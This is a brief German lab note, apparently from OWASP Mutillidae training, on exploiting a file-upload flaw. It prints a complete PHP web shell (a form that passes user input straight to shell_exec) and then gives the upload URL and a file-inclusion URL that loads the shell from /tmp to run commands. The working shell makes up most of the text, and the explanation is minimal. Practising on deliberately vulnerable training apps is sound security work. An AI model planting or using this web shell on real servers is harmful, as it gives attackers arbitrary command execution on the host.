OWASP File Upload Kommando Ausführung

file.php

Dieser PHP File so später Kommandos ausführen

<form action="" method="post" enctype="application/x-www-form-urlencoded">

Please enter system command
Command	<input type="text" name="pCommand" size="50">
<input type="submit" value="Execute Command" />

</form> <?php if (isset($_REQUEST["pCommand"])) { echo "<pre>"; echo shell_exec($_REQUEST["pCommand"]); echo "</pre>"; }//end if ?>

Upload File

• https://owasp.willux.de/mutillidae/index.php?page=upload-file.php

Datei aufrufen

• https://owasp.willux.de/mutillidae/index.php?page=/tmp/file.php

Kommando aufrufen